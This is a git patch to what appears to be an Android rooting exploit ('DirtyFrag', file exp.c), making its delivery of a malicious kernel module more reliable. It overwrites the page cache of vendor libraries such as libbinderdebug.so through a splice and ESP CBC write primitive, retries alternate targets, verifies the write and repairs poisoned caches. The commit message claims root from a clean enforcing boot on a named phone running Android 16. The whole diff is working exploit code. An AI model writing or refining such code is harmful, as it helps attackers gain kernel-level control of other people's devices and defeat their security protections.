From 8592cdf426aa2803ae8cb8900731654b3adad9f7 Mon Sep 17 00:00:00 2001 From: vjaykrsna Date: Sun, 18 Oct 2026 01:07:08 +0530 Subject: [PATCH] Fix vendor KO page-cache delivery Patching a vendor library can report success while the written page is not observed by the reader, so the module never loads and the run appears to hang until the timeout. Make the delivery verifiable and retryable: - Prefer a direct open()/pread()/splice() when the vendor target is readable, removing the ~1700 crash_dump64 exec transitions per patch and taking the KO write from ~1s to ~30ms. Fall back to the bridge when the target cannot be opened, or when its first block cannot be read or written, so no device loses a path it has today. - Read the KO back after patching, so a reverted page cache is reported instead of surfacing later as a silent timeout. - Retry the KO against another existing vendor candidate when nothing has been written yet. patch_file_cbc() reports this as -2; a failure after the first block is still a hard error, since a partial write must not be retried. - Use a fresh pipe per block instead of reusing one pipe across the whole file. - Repair the page caches we poisoned at the end of exploit(), deliberately outside cleanup() so it still happens if the libc++ restore is skipped. Tested on an iQOO Z9x (I2219), Android 16, KMI android12-5.10: roots from a clean, unrooted, enforcing boot. --- app/src/main/jni/exp.c | 200 +++++++++++++++++++++++++++++++---------- 1 file changed, 154 insertions(+), 46 deletions(-) diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index a91c3b16..0e9d940d 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -113,45 +113,59 @@ static int read_vendor_content(off_t offset, uint8_t buf[16]) { /* Send one CBC write. * ESP layout: SPI(4) + Seq(4) + IV(16) + ciphertext==file_page(16) = 40 bytes. - * use_helper=0: splice file_fd page directly (system file, untrusted_app can open) - * use_helper=1: exec crash_dump64 (splicehelper splice mode) to put vendor page in pipe + * source_helper=0: splice the file_fd page into the pipe (file is readable here) + * source_helper=1: exec crash_dump64 (splicehelper splice mode) to put vendor page in pipe * sk_send: connected UDP socket, created once by patch_file_cbc and reused across writes. + * A fresh pipe is created for every write so the gifted header page and the + * spliced file page can never alias a previous iteration's buffers. */ -static int do_one_write_cbc(int pipe_rd, int pipe_wr, int sk_send, int file_fd, off_t offset, - const uint8_t iv[16], int use_helper) { +static int do_one_write_cbc(int sk_send, int file_fd, off_t offset, + const uint8_t iv[16], int source_helper) { + int ret = -1; + int pfd[2]; + if (pipe(pfd) < 0) { printf("pipe failed: %s\n", strerror(errno)); return -1; } + fcntl(pfd[1], F_SETPIPE_SZ, 65536); + uint8_t hdr[24]; *(uint32_t *)(hdr + 0) = htonl(g_spi); *(uint32_t *)(hdr + 4) = htonl(g_seq++); memcpy(hdr + 8, iv, 16); struct iovec iov = {.iov_base = hdr, .iov_len = 24}; - if (vmsplice(pipe_wr, &iov, 1, SPLICE_F_GIFT) != 24) { - printf("vmsplice hdr failed: %s\n", strerror(errno)); return -1; + if (vmsplice(pfd[1], &iov, 1, SPLICE_F_GIFT) != 24) { + printf("vmsplice hdr failed: %s\n", strerror(errno)); goto out_pipe; } - if (use_helper) { - int st = spawn_crash_dump(offset, pipe_wr, 1, NULL); - if (st < 0) return -1; + if (source_helper) { + int st = spawn_crash_dump(offset, pfd[1], 1, NULL); + if (st < 0) goto out_pipe; if (!(WIFEXITED(st) && WEXITSTATUS(st) == 0)) { printf("splice helper failed status=0x%x\n", st); - return -1; + goto out_pipe; } } else { off_t off = offset; - if (splice(file_fd, &off, pipe_wr, NULL, 16, SPLICE_F_MOVE) != 16) { - printf("splice file failed: %s\n", strerror(errno)); return -1; + if (splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE) != 16) { + printf("splice file failed: %s\n", strerror(errno)); goto out_pipe; } } - ssize_t s = splice(pipe_rd, NULL, sk_send, NULL, 40, 0); - if (s != 40) { printf("splice pipe->udp: %zd expected 40\n", s); return -1; } - return 0; + ssize_t s = splice(pfd[0], NULL, sk_send, NULL, 40, 0); + if (s != 40) { printf("splice pipe->udp: %zd expected 40\n", s); goto out_pipe; } + ret = 0; +out_pipe: + close(pfd[0]); close(pfd[1]); + return ret; } /* Patch len bytes of payload into file starting at file offset foff. * Writes in 16-byte CBC blocks. - * For system files (use_helper=0): reads old_content with pread(). - * For vendor files (use_helper=1): reads old_content via crash_dump bridge. + * use_helper=0: system file, read old_content with pread(). + * use_helper=1: vendor file, prefer a direct open()/pread()/splice() and fall back + * to the crash_dump64 bridge when the file cannot be opened, or when its first + * block cannot be read or written. + * Returns 0 on success, -1 on failure, and -2 when the first block failed before + * anything was written, so the caller may retry against another target. * len must be a multiple of 16. */ static int patch_file_cbc(const char *path, const char *payload, size_t len, @@ -183,35 +197,47 @@ static int patch_file_cbc(const char *path, const char *payload, size_t len, } int file_fd = -1; - if (!use_helper) { - file_fd = open(path, O_RDONLY); + int source_helper = use_helper; + int direct_tried = 0; + if (use_helper) { + /* Vendor libraries are normally readable by untrusted_app (apps load + * them), so prefer a direct open()+pread()+splice() over the + * crash_dump64 bridge. The bridge relies on an exec transition and a + * single page-cache alias that some vendor builds do not observe + * reliably; fall back to it only when the direct source fails. */ + file_fd = open(path, O_RDONLY | O_CLOEXEC); + if (file_fd >= 0) { + source_helper = 0; + direct_tried = 1; + printf("vendor target readable directly; using direct file source\n"); + } + } + if (!source_helper && file_fd < 0) { + file_fd = open(path, O_RDONLY | O_CLOEXEC); if (file_fd < 0) { printf("open %s failed: %s\n", path, strerror(errno)); close(sk_send); return -1; } } - int pfd[2]; - if (pipe(pfd) < 0) { - printf("pipe failed: %s\n", strerror(errno)); - if (!use_helper) close(file_fd); - close(sk_send); - return -1; - } - int rc = 0; +cbc_retry: for (size_t i = 0; i < len / 16; i++) { off_t off = (off_t)(foff + i * 16); uint8_t old_content[16] = {0}; - if (use_helper) { + if (source_helper) { if (read_vendor_content(off, old_content) < 0) { - rc = -1; break; + /* -2 means nothing was written yet, so either the caller or + * the crash_dump64 fallback below may retry the whole patch. */ + rc = (i == 0) ? -2 : -1; + break; } } else { if (pread(file_fd, old_content, 16, off) != 16) { printf("pread at 0x%lx failed: %s\n", (long)off, strerror(errno)); - rc = -1; break; + rc = (i == 0) ? -2 : -1; + break; } } @@ -221,14 +247,28 @@ static int patch_file_cbc(const char *path, const char *payload, size_t len, uint8_t iv[16]; compute_iv(old_content, desired, iv); - if (do_one_write_cbc(pfd[0], pfd[1], sk_send, file_fd, off, iv, use_helper) < 0) { + if (do_one_write_cbc(sk_send, file_fd, off, iv, source_helper) < 0) { printf("write #%zu at 0x%lx failed\n", i, (long)off); - rc = -1; break; + rc = (i == 0) ? -2 : -1; break; } } - close(pfd[0]); close(pfd[1]); - if (!use_helper) close(file_fd); + /* The vendor target opened but its first block could not be read or + * written, so nothing has been written yet. Upstream always used the + * crash_dump64 bridge for vendor files, so fall back to it rather than + * fail where upstream would have succeeded. A later block failing means a + * partial write, which must not be retried. */ + if (rc == -2 && direct_tried) { + printf("vendor target direct source unusable; retrying via crash_dump64\n"); + close(file_fd); + file_fd = -1; + source_helper = 1; + direct_tried = 0; + rc = 0; + goto cbc_retry; + } + + if (!source_helper) close(file_fd); close(sk_send); if (rc == 0) printf("patched %zu bytes to %s+0x%zx\n", len, path, foff); return rc; @@ -359,6 +399,8 @@ static int patch_helper(void) { return 0; } +static size_t build_ko_attempts(const char *out[], size_t max); + static int patch_ko(void) { int andr = 0, major = 0, minor = 0; if (read_device_versions(&andr, &major, &minor) != 0) { @@ -374,13 +416,62 @@ static int patch_ko(void) { size_t len; char *buf = pad16(ko->start, (size_t)(ko->end - ko->start), &len); if (!buf) { printf("patch: %s - pad16 alloc failed\n", libcxx_ko_target); return -1; } - printf("patch: %s <- dfroot.ko (%zu bytes)\n", libcxx_ko_target, len); - int ret = patch_file_cbc(libcxx_ko_target, buf, len, 0, 1); - free(buf); + + const char *attempts[4]; + size_t n_attempts = build_ko_attempts(attempts, sizeof(attempts) / sizeof(attempts[0])); + + int ret = -1; + for (size_t a = 0; a < n_attempts; a++) { + strncpy(libcxx_ko_target, attempts[a], 63); + libcxx_ko_target[63] = '\0'; + printf("patch: %s <- dfroot.ko (%zu bytes)\n", libcxx_ko_target, len); + ret = patch_file_cbc(libcxx_ko_target, buf, len, 0, 1); + if (ret != -2) break; + printf("patch: %s failed before writing; trying another vendor target\n", + libcxx_ko_target); + } + + /* DirtyFrag can report successful writes that a later read does not + * observe. Read back a non-ELF interior block (offset 16 differs between + * ET_REL and ET_DYN) so a reverted page cache is reported instead of + * surfacing later as a silent timeout. */ + if (ret == 0 && len >= 32) { + uint8_t back[16]; + int vfd = open(libcxx_ko_target, O_RDONLY | O_CLOEXEC); + if (vfd >= 0) { + ssize_t n = pread(vfd, back, sizeof(back), 16); + if (n == (ssize_t)sizeof(back) && memcmp(back, buf + 16, sizeof(back)) != 0) + printf("patch: %s read-back mismatch (page cache may have reverted)\n", + libcxx_ko_target); + else if (n == (ssize_t)sizeof(back)) + printf("patch: %s verify OK\n", libcxx_ko_target); + close(vfd); + } + } + if (ret) printf("patch: %s patch failed: %d\n", libcxx_ko_target, ret); + free(buf); return ret; } +/* Invalidate the clean pages we poisoned so a later run (or a later exec) + * never observes a partially reverted page cache. */ +static void fadvise_drop(const char *path) { + int fd = open(path, O_RDONLY | O_CLOEXEC); + if (fd < 0) return; + posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); + close(fd); + printf("cache dropped: %s\n", path); +} + +/* Repair the page caches we poisoned. Kept out of cleanup() on purpose: the + * libc++ restore may be skipped, but a reverted vendor page must never be left + * behind for a later exec. */ +static void invalidate_patched_pages(void) { + fadvise_drop(kCrashDump); + if (libcxx_ko_target) fadvise_drop(libcxx_ko_target); +} + static void cleanup(void) { if (!g_libcxx_r.valid) return; printf("\n=== cleanup ===\n"); @@ -469,17 +560,33 @@ static int createOrphanProcess(void) { return 0; } +static const char *const kKoCandidates[] = { + "/vendor/lib64/libbinderdebug.so", + "/vendor/lib64/libstagefrighthw.so", + "/vendor/lib64/libstagefright_aidl_bufferpool2.so", +}; + static const char *detect_ko_target(void) { - static const char *const candidates[] = { - "/vendor/lib64/libbinderdebug.so", - "/vendor/lib64/libstagefrighthw.so", - "/vendor/lib64/libstagefright_aidl_bufferpool2.so", - }; - for (size_t i = 0; i < sizeof(candidates) / sizeof(candidates[0]); i++) { - if (access(candidates[i], F_OK) == 0) - return candidates[i]; + for (size_t i = 0; i < sizeof(kKoCandidates) / sizeof(kKoCandidates[0]); i++) { + if (access(kKoCandidates[i], F_OK) == 0) + return kKoCandidates[i]; + } + return kKoCandidates[0]; +} + +/* Ordered vendor libraries to try for the KO: the detected primary first, then + * every other candidate that exists. Lets patch_ko() retry a target that could + * not be read before any byte was written. */ +static size_t build_ko_attempts(const char *out[], size_t max) { + size_t n = 0; + const char *first = detect_ko_target(); + if (n < max) out[n++] = first; + for (size_t i = 0; i < sizeof(kKoCandidates) / sizeof(kKoCandidates[0]) && n < max; i++) { + if (strcmp(kKoCandidates[i], first) == 0) continue; + if (access(kKoCandidates[i], F_OK) != 0) continue; + out[n++] = kKoCandidates[i]; } - return candidates[0]; + return n; } static int hex_to_bytes(const char *hex, uint8_t *out, size_t len) { @@ -588,6 +695,7 @@ static int exploit(void) { printf("timeout: ERROR - check logcat & dmesg\n"); done: if (rc == 3) printf("patch: ERROR - failed to patch files\n"); + invalidate_patched_pages(); return rc; }